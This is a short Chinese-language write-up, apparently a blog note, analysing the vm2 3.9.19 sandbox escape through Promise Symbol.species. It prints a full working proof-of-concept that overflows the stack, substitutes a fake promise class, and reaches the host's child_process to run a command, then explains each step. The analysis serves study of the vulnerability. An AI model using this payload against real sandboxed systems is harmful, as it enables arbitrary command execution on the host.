当前的vm存在一个无法修复的逃逸漏洞,直接导致了这个框架被废弃

资料

https://github.com/patriksimek/vm2/issues/533

Sandbox Escape in vm2@3.9.19 via Promise[@@species]

如之前所说,所有vm逃逸的本质都是获取沙盒外的对象,这个漏洞payload如下

const {VM} = require("vm2");
const vm = new VM();

const code = `
async function fn() {
    (function stack() {
        new Error().stack;
        stack();
    })();
}
p = fn();
p.constructor = {
    [Symbol.species]: class FakePromise {
        constructor(executor) {
            executor(
                (x) => x,
                (err) => { return err.constructor.constructor('return process')().mainModule.require('child_process').execSync('id'); }
            )
        }
    }
};
p.then();
`;

console.log(vm.run(code));

根据大佬的报告分析,异步中的异常(Promise)可能导致主机对象泄漏到沙箱中,分开看代码

async function fn() {
    (function stack() {
        new Error().stack;
        stack();
    })();
}
p = fn();

通过无限递归调用,使得栈溢出,这时候p进入rejected状态

后续将p.constructor重写为自定义对象,包含Symbol.species,指向攻击者定义的fakePromise

p.constructor = {
    [Symbol.species]: class FakePromise {
        constructor(executor) {
            executor(
                (x) => x,
                (err) => { return err.constructor.constructor('return process')().mainModule.require('child_process').execSync('id'); }
            )
        }
    }
};
p.then();

Promise的Symbol.species 默认返回构造函数自身

console.log(Promise[Symbol.species] === Promise); // true

如此控制构造过程,当p.then()被调用时,会使用fakePromise 类,err应该是宿主机的对象?这点暂不明确。但应该是通过err.constructor.constructor访问到了宿主环境的function构造函数,完成的沙箱逃逸